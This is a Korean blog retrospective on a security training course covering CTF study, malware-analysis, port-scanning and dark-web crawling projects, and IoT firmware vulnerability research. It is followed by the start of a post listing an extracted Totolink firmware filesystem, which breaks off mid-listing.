<p>이후의 OT는 뭐... 자기소개와 포부? 지원동기? 같은 것들을 작성하고 발표하고... 구름 측에서 제공하는 혜택과 장학 제도 같은 것들을 소개받았다. 아 그리고 마시멜로우랑 스파게티 면으로 탑 쌓는 즉석 조별과제를 진행했는데... 이건 아직도 왜 했는지 모르겠다.</p>
<p>점심은 구름 측에서 미리 계산해둔 식당으로 가서 제육볶음을 먹었는데, 이때부터 슬슬 초반 친해지기를 마친 교육생 분들은 멤버 모으기를 시작하셨다. 관심 있는 분야나 스터디 희망 주제 등에 대해 이야기를 나누셨는데, 난 OT가 끝날 때쯤 관심 주제가 비슷한 교육생 한 분을 만나 스터디 계획을 조금 공유했다.</p>
<h2 id="ctf-스터디">CTF 스터디</h2>
<p>참고로 딥다이브 과정에서는 의무사항으로, 조를 만들어 관심 있는 주제로 스터디를 진행해야 한다. 1차와 2차로 나누어 진행하나, 우리 조의 경우에는 딱히 달라진 게 없어서 그대로 이어간 기억이 난다. 아무튼 그렇게 OT에서 만난 교육생 분과 CTF에 참여해보고 싶다는 공통점을 찾아 함께 스터디를 꾸리게 되었다.</p>
<p>당시 CTF 스터디는 주에 1번, 2명씩 격주로 풀어온 워게임 문제와 그 풀이를 발표하며 경험을 나누는 형태로 이루어졌다. 신기하게도 4명의 멤버들의 관심 분야가 웹/리버싱/포너블/포렌식 느낌으로 자연스럽게 나뉘어져, 다양한 분야에 대한 인사이트를 종합적으로 키울 수 있었다.</p>
<p>그렇게 문제 풀이가 어느 정도 익숙해질 즈음, CTF에 참가해보자는 의견이 나왔고... 드림핵 플랫폼에서 정기적으로 진행하는 CTF 대회에서 참여하게 되었다. 수료까지 8개월, 그동안 대략 6개 정도의 CTF에 참가했으며 그 중 절반 정도는 한 문제도 못 풀었다. 그래도 덕분에 처음으로 CTF라는 필드에 참가도 해보고, 실전에서 문제를 풀어냈다는 성취감까지 느낄 수 있었다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/e6e403f7-ff5d-49b2-8be5-0a39891c00b4/image.png" alt=""></p>
<p>내 옵시디언은 모든 것을 기록한다...</p>
<h2 id="교육-세션">교육 세션</h2>
<p>이 부분은 딱히 할 말은 없다. 프로젝트 주간으로 들어가기 전, 팀 스터디와 병행하며 10월의 끝까지 강의를 듣는 기간이었는데, 정말 별 거 없이 하루 하루 배정된 강의를 소화해내면 되는 기간이었다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/d5f7db73-4d1c-48be-9d59-3426338298f9/image.png" alt=""></p>
<p>다만 아직까지 기억나는 건, SecurityOnion을 사용하는 실습이 포함된 강의인데, 저거 하나 설치하겠다고 3일을 썼던 기억이 난다. 정말 뭔 놈의 에러가 그리도 많은지...</p>
<h2 id="세미-프로젝트">세미 프로젝트</h2>
<p>교육 세션이 끝난 후, 파이널 프로젝트로 들어가기 전 구름 측에서 제시해둔 주제와 평가 기준에 맞추어 진행하는 3개의 프로젝트이다. 처음에는 자유 주제로 3개 진행하면 어땠을까 하는 생각도 해봤지만, 막상 다 끝내고 나니 분야별로 최소 한번씩은 맛을 보길 바라는 구름 멘토님들의 바람이 느껴졌다.</p>
<p>참고로 자세한 수행 과정이나 내가 남긴 일지가 궁금하다면... 이 벨로그에 다른 시리즈로 정리해놨으니 찾아보면 될 것이다.</p>
<h3 id="샌드박스-구축을-통한-악성코드-자동-탐지-및-분석-시스템-개발">샌드박스 구축을 통한 악성코드 자동 탐지 및 분석 시스템 개발</h3>
<blockquote>
<p><a href="https://github.com/InGyu/deepdive_semi_project_01">https://github.com/InGyu/deepdive_semi_project_01</a></p>
</blockquote>
<p>안드로이드 / MobSF / Frida</p>
<p>이 3가지가 아직까지도 생생하다. 주제를 설명해보자면... Frida 스크립트를 사용하여 정적/동적분석 과정을 자동화하고, 제공된 악성코드 파일을 분석한 결과를 도출하는 일원화 스크립트를 만드는 개발 과제이다.</p>
<p>위에서 안드로이드를 써놨기에 눈치를 챈 사람도 있겠지만, 에뮬레이터를 사용해야 한다. 내 경우에는 딥다이브 과정 이전에 Flutter 개발을 공부하면서 사용해본 안드로이드 스튜디오가 있었기에 에뮬레이터는 문제 없을 것이라 여겼으나, 큰 오판이었다. 결과적으로는 Genymotion을 사용해야 했는데, 수시로 터지고 멈추는 탓에 새로 깐 것만 3번이다. 아마 VMWare도 이때 새로 깔았던 거 같은데... 왜였지?</p>
<p>당시 우리 팀은 역할을 나누어 스크립트의 어떤 과정을 담당할지 리드를 정했는데, 내가 담당한 파트는 암호화/복호화 파트였다. 제공되는 악성 파일이 apk 파일 형태로 주어지기에, 그걸 알맞게 풀고 편집, 정보를 확인한 후 키 값을 새로 넣고 패킹까지 해줘야 하기 때문이다. 덕분에 당시에 RSA나 AES, Hash 공부를 꽤 넓게 해봤던 기억이 난다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/1e3f9521-b352-4ef5-8e34-cebf99ccf3df/image.png" alt=""></p>
<p>얘는 GCM이라는 녀석인데... 다시 보니까 갑자기 복습이 절실해진다.</p>
<h3 id="서비스-포트-스캐너-구현">서비스 포트 스캐너 구현</h3>
<blockquote>
<p><a href="https://github.com/goldenGlow21/goorm_semi_project_2">https://github.com/goldenGlow21/goorm_semi_project_2</a></p>
</blockquote>
<p>개인적으로는 가장 빡셌던 프로젝트였다. 포트 스캐닝 기법이나 핸드쉐이크 등 네트워크 방면에서 사용되는 CS 수준은 그냥 공부 열심히 하는 걸로 잘 커버가 됐지만, 막상 그걸 개발로 구현하려니 상당히 막막했다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/f68e6331-ccf8-4b88-ad1d-52f9a7f1ce46/image.png" alt=""></p>
<p>당시에 Flask 웹서버를 기반으로 프로젝트를 구성했는데, 각 스캐닝 기법을 모듈화하자는 계획을 세웠다. 당연히 맞는 말이고 웬만하면 그렇게 하는 게 맞는데, 문제는 당시의 우리 팀이 최적화를 위해 각 스캐닝 기법을 구현하는 건 C로 하고, import하여 python 스크립트에서 사용하는 방법으로 하기로 결정했다는 것이다.(근데 이거 다시 보니까 내가 제안했네)</p>
<p>덕분에 C로 개발을 힘겹게 하다가, 비동기였나... 무언가가 제대로 구현되지 않아 전부 갈아엎고 Python으로 다시 개발을 했다. 이 시점에 코딩이 살짝 싫어질 뻔 했던 거 같다.</p>
<p>다행히 팀에 개발을 상당히 잘 하시는(하지만 본인은 항상 부정하시는) 팀원분이 계셔서, 많은 도움을 받으면서 결과물을 낼 수 있었다. 어찌됐든 네트워크 분야의 개념들을 전반적으로 훑으면서 복습하고, 직접 개발을 해보며 포트 스캐닝 기법들을 머리에 때려박았다.</p>
<p>확실히 직접 해보니 이해되는 속도가 다르긴 했다...</p>
<h3 id="다크웹-정보-유출-탐지-시스템-개발">다크웹 정보 유출 탐지 시스템 개발</h3>
<blockquote>
<p><a href="https://github.com/limchansu/darkweb_and_osint_viewer">https://github.com/limchansu/darkweb_and_osint_viewer</a></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/33b25133-add1-4bfa-9710-f9b57d7c1eda/image.png" alt=""></p>
<p>내가 제일 좋아했고, 아직도 좋아하는 프로젝트이다. 무엇보다 다크웹이라는 미지의 공간이 흥미로웠고, 유출 정보를 탐지한다는 &quot;손에 잡히는&quot; 성과를 도출한 것이 정말 뿌듯했던 기억이 난다.</p>
<p>사실 이 프로젝트를 개발 측면에서 바라본다면 크롤러 작성 말고는 뭐 없다. 다만 중요한 건 다크웹을 대상으로 한다는 것. 어디에서, 무엇을 가져올지 정하는 그 과정에서 상당한 고민이 필요했다.</p>
<p>그러고 보니 당시에 수집한 정보를 elasticsearch와 kibana까지 도입하여 시각화할 계획을 가지고 있었으나, 막상 시각화 단계까지 가 보니 &quot;시각화&quot;에 대한 팀원들의 생각이 서로 판이하게 달라 곤혹을 치뤘던 기억이 난다. 사전 명세 협의가 얼마나 치밀하게 이뤄져야 하는지 격심히 느낀 사례...</p>
<p>하지만 가장 큰 수확을 꼽자면, 다크웹이라는 공간에 대해 조금 더 실재적인 감각을 얻었다는 것이다. 내가 상상했던 것보다 훨씬 덜 위험했으며, 내가 생각한 것보다 훨씬 더 위험한 곳이었다.</p>
<p>당장 다크웹에 접속해본 사람들은 알겠지만, 전용 브라우저인 Tor를 구해 접속한다고 쳐도 원하는 사이트의 url을 구하지 못하면 애초에 접속이 불가능하다. 그마저도 친절하게 <a href="http://www.naver.com%EC%B2%98%EB%9F%BC">www.naver.com처럼</a> 규격과 정보를 제시해주는 게 아니라,</p>
<blockquote>
<p><a href="http://stniiomyjli...yvmpwt7gklffqd.onion">http://stniiomyjli...yvmpwt7gklffqd.onion</a></p>
</blockquote>
<p>처럼 제시되어 있다.(혹시 몰라서 가운데는 자름) 주요 사이트들의 url을 모으고, 정리하며 업데이트해주는 일부 사이트가 있긴 하지만, 이런 걸 빨리 찾지 못한다면 서피스 웹에서 겨우겨우 찾아낸 2년 전 링크에 접속했다가 낭패를 치르기 일쑤다.</p>
<p>그럼에도 불구하고 수십개의 사이트를 돌아다니며 유출된 정보가 어떤 형태로 내걸리며, 핵티비즘 그룹들이 이를 어떤 식으로 공개하려 하는지 등을 직접 마주하니 정말 내가 정보보안 분야에서 무언가를 하고 있다는 실감이 났다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/19c1946c-54aa-48a2-846f-68ef77b1de88/image.png" alt=""></p>
<p>우리 봇 일한다~</p>
<h2 id="파이널-프로젝트">파이널 프로젝트</h2>
<p>가장 자랑스러운, 그리고 가장 많은 수고와 공을 들인 프로젝트이다. 세미 프로젝트를 모두 마친 후, 자유 주제로 2달 반 정도에 걸쳐 프로젝트를 진행하게 되었다. 때문에 당시 팀원들이 저마다 아이디어를 제시했고, 내가 낸 아이디어는 아래와 같았다.</p>
<blockquote>
<p>MIPS 아키텍처 IoT기기의 취약점 탐색</p>
</blockquote>
<p>사실 처음에는 ARM이었지만... 아무튼</p>
<p>그동안의 세미 프로젝트에서는 CTF 스터디 때부터 쭉 팀장을 맡아주신 교육생 분께서 자연스럽게 팀장을 맡아주셨으나, 이번엔 기적적으로 내가 낸 아이디어가 채택되면서(진짜 왜 됐지) 내가 팀장을 맡게 되었다.</p>
<p>프로젝트는 하드웨어 해킹 -&gt; 1-day 취약점 재현 -&gt; 0-day 취약점 탐색 순으로 이뤄졌다. 다만 이마저도 처음 계획과 정말 많이 달라졌는데, 이건 따로 한번 정리해봐야겠다.</p>
<h3 id="하드웨어-해킹">하드웨어 해킹</h3>
<p>일단 이건 개발 측면은 아닌데... 1개 분석하기로 한 하드웨어 해킹은 UART/Flash Memory 덤프가 제대로 안 되어 하나씩 추가적으로 까보다가 결과적으로 5개나 까버렸고(150,000\), 분석 도구의 품질에 문제가 있다는 판단에 추가적으로 구입(140,000\)하면서 상당한 경제적 타격(...)을 입었다.</p>
<p>물론 덕분에 부트로더, ROM, UART, Flash Memory 등 이론으로만 접해봤을 지식을 손에 잡히는 거리에서 다뤄볼 수 있었으니 얻은 게 없진 않다. 그리고 무엇보다, 팀원들 다 같이 모여 PCB기판 붙잡고 매달리고... UART 연결 됐다고 난리 부르스를 떨던 그 날의 기억은 정말 오래도록 잊지 못할 것 같다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/0706746b-a4e6-4c17-9c66-81f11370047b/image.jpg" alt=""></p>
<p>결과적으로 5개 제품에 대한 총 15가지(각 3가지) 접근 경로에서 추출은 총 2가지 성공했으므로 딱히 타율이 좋다곤 할 수 없겠지만, 이 과정에서 정말 처음 접해보는 펌웨어, 또는 하드웨어 연관(PCB 기판 상의 요소들 등) 지식들을 많이 배워갈 수 있어 만족스럽다.</p>
<p>(그리고 납땜 캐리해 주신 양 팀원님 사랑합니다)</p>
<h3 id="1-day-취약점-재현">1-day 취약점 재현</h3>
<p>원래는 공개 펌웨어 분석을 목표로 했다. 제조사의 홈페이지에 공개된 펌웨어를 직접 분석해보고, 알려진 취약점을 재현해보는 단계이다. 다만 후속 단계에서 비공개 펌웨어를 대상으로 한 분석이 사실상 무산되면서 1-day 취약점을 재현하는 의의만 남았다.</p>
<p>게다가 처음 분석 대상으로 선정한 D-Link의 DIR-882 펌웨어는 에뮬레이팅 단계에서 애로사항이 많아 이 또한 중단되었고, 결국 멘토님의 조언을 받아 Totolink의 제품으로 대상을 변경했다.</p>
<p>이후에는 뭐... Github에 올라와 있는 CVE 중 가장 영양가 있어 보이는 BOF 관련 CVE를 찾아 재현을 진행하였으며, 성공했다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/9987753f-e193-4fdd-a6ca-e65f0dd39a33/image.png" alt=""></p>
<p>리버스 쉘 획득 성공한 사진!</p>
<p>하지만, 이 단계에서 가장 많이 배움을 얻은 건 DIR-882를 맨땅에 헤딩하는 식으로 분석해봤을 때였다. 파일 시스템이나 부트로더, 뭐 이런 것들을 이론으로만 알고 있던 나에게 펌웨어 분석은 정말 처음부터 끝까지 Blackbox였다. CVE에 관련 정보가 나와 있다고 해도, 결국 이 놈이 뭐하는 놈인지 알아야 검증이나 이해를 할 것 아닌가.</p>
<p>장님이 코끼리를 더듬어 형태를 찾듯, 어마어마한 양의 파일들을 하나씩 들어가 보며 분석하고, 너무 길거나 아무것도 이해가 안될 땐 GPT한테 도움을 구하기도 했다.(기계는 기계가 잘 알더라...)</p>
<p>어찌됐든 목표로 했던 1-day 취약점도 성공적으로 재현했고, exploit 전 수행한 정적/동적 분석 과정에서 팀원들 대부분이 취약점으로 의심되는 부분을 한두개씩 찾아둔 상태라, 이 단계가 끝날 때쯤 팀원들은 모두 상당히 고양된 상태였다.</p>
<h3 id="zero-day-취약점-탐색">Zero-day 취약점 탐색</h3>
<p>제로데이 취약점을 찾기 전, 하드웨어 해킹을 재시도했다가 실패하고 분석 대상을 다시 Totolink의 제품(이번에는 최신 기종, 최신 버전으로)으로 바꾸는 작은 사고가 있었다.</p>
<p>아무튼, 이번 단계에는 주어진 CVE 정보를 바탕으로 공격 사례를 재현하는 게 아닌, 스스로 취약점을 찾아보았다. 이전에 1-day 취약점을 찾아보며 감을 잡아보자는 목표가 유효했는지, 팀원들 모두 상당히 빠르게 취약점에 접근했다. 지금 와서 생각해보면 별도의 분석 세션을 둘 필요가 없었을 정도..?</p>
<p>그렇게 분석 과정에서 유망해 보이는 공격 벡터를 5개 선정하고, 각 벡터에 모든 팀원이 다 함께 참가하며 하나하나 도장깨기 식으로 취약점을 찾아나갔다. 결과적으로는 총 4개 벡터에서 8개의 취약점을 찾아냈으며, exploit까지 성공했다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/cecdc3ed-86b0-4ecb-afba-843645dc0e8d/image.png" alt=""></p>
<p>이건 그냥 pwndbg 쓰는 사진...ㅎ</p>
<p>이 단계에서 수행한 것들을 되돌아보면, 에뮬레이터를 돌리는 것부터 스크립트로 exploit을 수행하는 것 까지 쉬운 것 하나 없는 과정이었다. 그렇기에 하나 하나 설명하기엔 너무나도 쓸 게 많지만, 사실 여기서 느낀 건 &quot;나 일정 진짜 잘 짰다&quot; 였다.</p>
<p>본 게임이라고 할 수 있는 건 역시 Zero-day 취약점 탐색 이지만, 그 이전에 진행한 1-day 취약점 재현 단계나 하드웨어 해킹 단계에서 경험했던 지식들이 정말 많이 필요했다. 물론 bottom to top으로 차근히 지식을 쌓았다면 더 좋았을지 모르나, 실전으로만 배우고 응용할 수 있는 날것의 지식, 아니 경험들이 분명히 존재했다. 펌웨어를 binwalk로 추출하는 순간부터 쉘 획득을 성공하는 순간까지, 별다른 검색 없이 &#39;아 이거 그거네&#39; 하고는 자연스럽게 넘어가는 내 모습을 보면서 성장을 체감하는 여러 순간들은 아직도 느껴질 만큼 생생하다.</p>
<h2 id="대망의-발표수료식">대망의 발표(수료식)</h2>
<p>무릇 팀장이라는 자리를 맡은 사람이라면 내 팀원들과 결과물에 자랑스러워야 하는 법이다. 그리고 그 자랑스러움을 내보이는 건 당연히 팀장의 몫이다.</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/4ed52934-07ca-4f99-8de1-46cc40239616/image.png" alt=""></p>
<p>라는 생각을 머리속에 끊임없이 때려박으며, 약 3~4일간 미친듯이 대본을 수정하며 발표를 준비했다. 마지막으로 팀장 직책을 달고 발표까지 해본 건 고등학교 때가 마지막인데(아니 중학교인가) 어쩌다 이런 일이 벌어졌는지 회고도 해보고...</p>
<p>그런데 사실 최종 발표에서 가장 힘들었던 건 떨림보다도 분량 문제였다. 쓸 게 너무 많았던 것. ppt는 좀 꽉 차긴 해도 알짜로만 담았고, 말하는 속도가 딱히 느린 편도 아니라 걱정할 일 없을 줄 알았는데, 정말 기술적인 내용을 다 빼고 3달간의 여정만 설명해도 16~17분이 나왔던 걸로 기억한다. 덕분에 설명(=자랑)하지 못한 팀의 성과가 한 트럭은 될 것이다.</p>
<p>사족과 너무 자세하다 싶은 것들을 잘라내다 보니 약간은 뿌듯한 감정을 느끼기도 했다. 글을 쓸 때는 많이 쓰고 다듬으며 줄이는 게 더 편하다고 하지 않던가. 쓸 게 없는 상황에서 그럴싸함을 꾸며내는 빈곤함보다는 간결함을 추구하며 느끼는 고민이 나은 법이다.</p>
<p>아무튼 그렇게 발표도 잘 마쳤고, 심사위원으로 자리해주신 곽경주 CSO님과 김다솜 멘토님의 질문까지 받고 나니, 정말 다 마무리됐구나 하는 실감과 함께 엄청난 뿌듯함이 몰려왔다. 아마 이때 입꼬리 관리가 좀 안됐을텐데, 아무도 못 봤길 바란다.</p>
<p>그 뒤로는... 우수 프로젝트와 우수 수료생 발표, 향후 구름 측에서의 지원 제도나 그런 것들을 안내해주셨다. 그리고...</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/e4d55e54-0691-4d3f-92e2-82427cf9bc29/image.png" alt=""></p>
<p>대상이나 최우수상은 따로 없었기에 우리가 사실상 대상이다!</p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/01d055b6-87be-4e21-8f84-1ab81fc4c0c9/image.png" alt=""></p>
<p>혹시 싶어서 이름은 지웠지만... 나다!</p>
<h2 id="맺으며">맺으며</h2>
<p>정말 과분한 성과를 얻은 것 같다. 8개월간 누구 하나 지치지 않고 끝까지 열심히 달려와 주신 팀원분들, 아침이든 저녁이든 수시로 DM을 받아주신 멘토님들, 계속 신경쓰며 안내를 맡아주신 관리자님들까지, 누구에게든 감사함밖에 느껴지지 않는다. 아마 우수 수료생 돼서 그런 거 같긴 하다.</p>
<p>물론 스스로 풀어지거나 할 때마다 &#39;제주도 펜트하우스 숙박권 받아야지!!&#39; 하면서 자신을 다잡았지만, 솔직히 내가 받으리라고는 생각하지 못한 명예였다. 그만큼 8개월간 노력한 자신이 자랑스러워지고, 그간 잃었던 자신감이 엄청나게 충전된 기분이다.</p>
<p>정보보안 분야를 공부하고 있다는 말을 자랑스럽게 할 수 있을 만큼 공부했고, 또 공부하는 법을 배웠다고 생각한다. 이제 복학도 해야 하고, 인턴이나 취준 등 할 일이 산더미지만... 앞으로 어떤 어려움이 닥쳐오든 이번 딥다이브 과정에서 얻어낸 것들이 큰 힘이 되러줄 거라는 강한 예감이 든다.</p>
<p>끝으로, 이걸 봐주실진 모르겠지만... 정말 고생 많았던 정보보호 9회차 용두용미팀 팀원분들, 정말 감사합니다. 덕분에 스터디와 강의부터 3번의 세미, 1번의 파이널 프로젝트까지, 정말 많이 배웠고 힘이 되었습니다. 바라건대 제가 여러분께 배우고 의지했던 만큼, 저 또한 여러분께 의지되는 팀원이었다면 좋겠습니다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Zero-day] 취약점 탐색 - 정적분석 시작]]></title>
            <link>https://velog.io/@lilac_21/Zero-day-%EC%B7%A8%EC%95%BD%EC%A0%90-%ED%83%90%EC%83%89-%EC%A0%95%EC%A0%81%EB%B6%84%EC%84%9D-%EC%8B%9C%EC%9E%91</link>
            <guid>https://velog.io/@lilac_21/Zero-day-%EC%B7%A8%EC%95%BD%EC%A0%90-%ED%83%90%EC%83%89-%EC%A0%95%EC%A0%81%EB%B6%84%EC%84%9D-%EC%8B%9C%EC%9E%91</guid>
            <pubDate>Wed, 19 Mar 2025 11:51:03 GMT</pubDate>
            <description><![CDATA[<h1 id="파일-구조-분석">파일 구조 분석</h1>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ ls -alR
.:
total 56
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 .
drwxrwxr-x  4 kali kali 4096 Feb 20 10:12 ..
drwxrwxr-x  2 kali kali 4096 May 31  2023 bin
drwxrwxr-x  2 kali kali 4096 May 31  2023 boot
drwxrwxr-x  6 kali kali 4096 Feb 20 10:12 dev
drwxrwxr-x  9 kali kali 4096 Feb 20 10:12 etc
drwxrwxr-x  2 kali kali 4096 May 31  2023 home
lrwxrwxrwx  1 kali kali    8 May 31  2023 init -&gt; bin/init
drwxrwxr-x  3 kali kali 4096 May 31  2023 lib
drwxrwxr-x  2 kali kali 4096 May 31  2023 mnt
drwxrwxr-x  2 kali kali 4096 May 31  2023 proc
lrwxrwxrwx  1 kali kali    9 Feb 20 10:12 root -&gt; /dev/null
drwxrwxr-x  2 kali kali 4096 May 31  2023 sys
lrwxrwxrwx  1 kali kali    9 Feb 20 10:12 tmp -&gt; /dev/null
drwxrwxr-x  4 kali kali 4096 May 31  2023 usr
drwxrwxr-x  2 kali kali 4096 May 31  2023 var
drwxrwxr-x  8 kali kali 4096 Feb 20 10:12 web

./bin:
total 6580
drwxrwxr-x  2 kali kali   4096 May 31  2023 .
drwxrwxr-x 14 kali kali   4096 Feb 20 10:12 ..
-rwxr-xr-x  1 kali kali  10032 May 31  2023 acltd
lrwxrwxrwx  1 kali kali      7 May 31  2023 addgroup -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 adduser -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 ash -&gt; busybox
-rwxrwxr-x  1 kali kali 109996 May 31  2023 auth
lrwxrwxrwx  1 kali kali      7 May 31  2023 awk -&gt; busybox
-rwxr-xr-x  1 kali kali  13788 May 31  2023 batchUpgrade
-rwxr-xr-x  1 kali kali  13788 May 31  2023 batchUpgrades
-rwxrwxr-x  1 kali kali 499956 May 31  2023 boa
-rwxrwxr-x  1 kali kali  21648 May 31  2023 brctl
lrwxrwxrwx  1 kali kali      7 May 31  2023 bunzip2 -&gt; busybox
-rwxrwxr-x  1 kali kali 378028 May 31  2023 busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 bzcat -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 cat -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 chgrp -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 chmod -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 chown -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 chpasswd -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 chroot -&gt; busybox
-rwxr-xr-x  1 kali kali     40 May 31  2023 cmd
-rwxr-xr-x  1 kali kali     40 May 31  2023 cmd1
-rwxr-xr-x  1 kali kali     34 May 31  2023 connect6.sh
-rwxr-xr-x  1 kali kali     32 May 31  2023 connect.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 cp -&gt; busybox
-rwxr-xr-x  1 kali kali     47 May 31  2023 crc
-rwxr-xr-x  1 kali kali     47 May 31  2023 crc1
-rwxr-xr-x  1 kali kali  57836 May 31  2023 crpc
lrwxrwxrwx  1 kali kali      7 May 31  2023 cut -&gt; busybox
-rwxrwxr-x  1 kali kali 471600 May 31  2023 cwmpClient
lrwxrwxrwx  1 kali kali      7 May 31  2023 date -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 dd -&gt; busybox
-rwxrwxr-x  1 kali kali  11772 May 31  2023 ddns_inet
lrwxrwxrwx  1 kali kali      7 May 31  2023 delgroup -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 deluser -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 depmod -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 df -&gt; busybox
-rwxrwxr-x  1 kali kali 139988 May 31  2023 dhcp6c
-rwxr-xr-x  1 kali kali   1080 May 31  2023 dhcp6cRcv.sh
-rwxrwxr-x  1 kali kali  14588 May 31  2023 dhcp6ctl
-rwxrwxr-x  1 kali kali 129476 May 31  2023 dhcp6s
lrwxrwxrwx  1 kali kali      7 May 31  2023 diff -&gt; busybox
-rwxr-xr-x  1 kali kali     28 May 31  2023 disconnect.sh
-rwxrwxr-x  1 kali kali  37868 May 31  2023 dnrd
-rwxrwxr-x  1 kali kali  95276 May 31  2023 dnsmasq
-rwxrwxr-x  1 kali kali   6620 May 31  2023 dnsspoof
lrwxrwxrwx  1 kali kali      7 May 31  2023 du -&gt; busybox
-rwxr-xr-x  1 kali kali    207 May 31  2023 dw
-rwxr-xr-x  1 kali kali   2828 May 31  2023 ebtables
-rwxr-xr-x  1 kali kali   6476 May 31  2023 ebtables-restore
-rwxr-xr-x  1 kali kali   1663 May 31  2023 ebtables-save
lrwxrwxrwx  1 kali kali      7 May 31  2023 echo -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 egrep -&gt; busybox
-rwxr-xr-x  1 kali kali    123 May 31  2023 ew
lrwxrwxrwx  1 kali kali      7 May 31  2023 expr -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 false -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 fdisk -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 fgrep -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 find -&gt; busybox
-rwxr-xr-x  1 kali kali     32 May 31  2023 firewall.sh
-rwxrwxr-x  1 kali kali  96780 May 31  2023 flash
lrwxrwxrwx  1 kali kali      7 May 31  2023 free -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 fsck -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 ftpget -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 ftpput -&gt; busybox
-rwxr-xr-x  1 kali kali  10300 May 31  2023 fwd
-rwxr-xr-x  1 kali kali     62 May 31  2023 fwdbg
-rwxr-xr-x  1 kali kali  10300 May 31  2023 fwds
-rwxr-xr-x  1 kali kali     98 May 31  2023 getmib
-rwxr-xr-x  1 kali kali     98 May 31  2023 getmib1
lrwxrwxrwx  1 kali kali      7 May 31  2023 getty -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 grep -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 halt -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 head -&gt; busybox
-rwxr-xr-x  1 kali kali  90536 May 31  2023 hle_entity
lrwxrwxrwx  1 kali kali      7 May 31  2023 hostname -&gt; busybox
-rwxrwxr-x  1 kali kali  12620 May 31  2023 iapp
-rwxr-xr-x  1 kali kali    104 May 31  2023 ib
-rwxr-xr-x  1 kali kali    104 May 31  2023 ib1
-rwxr-xr-x  1 kali kali    105 May 31  2023 id1
-rwxr-xr-x  1 kali kali    105 May 31  2023 idd
-rwxr-xr-x  1 kali kali    105 May 31  2023 idd1
lrwxrwxrwx  1 kali kali      7 May 31  2023 ifconfig -&gt; busybox
-rwxrwxr-x  1 kali kali  20812 May 31  2023 igmpproxy
lrwxrwxrwx  1 kali kali      7 May 31  2023 init -&gt; busybox
-rwxr-xr-x  1 kali kali    116 May 31  2023 init.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 insmod -&gt; busybox
-rwxrwxr-x  1 kali kali 178500 May 31  2023 ip
-rwxrwxr-x  1 kali kali 253588 May 31  2023 ip6tables
-rwxr-xr-x  1 kali kali     72 May 31  2023 ip_qos.sh
-rwxrwxr-x  1 kali kali 275796 May 31  2023 iptables
-rwxrwxr-x  1 kali kali  24428 May 31  2023 ipv6_manage_inet
-rwxr-xr-x  1 kali kali    111 May 31  2023 irf
-rwxr-xr-x  1 kali kali    111 May 31  2023 irf1
-rwxr-xr-x  1 kali kali    104 May 31  2023 iw
-rwxr-xr-x  1 kali kali    104 May 31  2023 iw1
-rwxrwxr-x  1 kali kali  33108 May 31  2023 iwcontrol
-rwxrwxr-x  1 kali kali  23716 May 31  2023 iwpriv
lrwxrwxrwx  1 kali kali      7 May 31  2023 kill -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 killall -&gt; busybox
-rwxr-xr-x  1 kali kali    301 May 31  2023 killsh.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 klogd -&gt; busybox
-rwxrwxr-x  1 kali kali  86220 May 31  2023 l2tpd
-rwxr-xr-x  1 kali kali     27 May 31  2023 l2tp.sh
-rwxr-xr-x  1 kali kali  48196 May 31  2023 lld2d
lrwxrwxrwx  1 kali kali      7 May 31  2023 ln -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 login -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 ls -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 lsmod -&gt; busybox
-rwxrwxr-x  1 kali kali  82732 May 31  2023 main_lc5761
-rwxr-xr-x  1 kali kali  91676 May 31  2023 map_agent
-rwxr-xr-x  1 kali kali   4636 May 31  2023 map_checker
-rwxr-xr-x  1 kali kali 100972 May 31  2023 map_controller
-rwxr-xr-x  1 kali kali   3004 May 31  2023 map_del_device
-rwxrwxr-x  1 kali kali  29580 May 31  2023 map_reinit
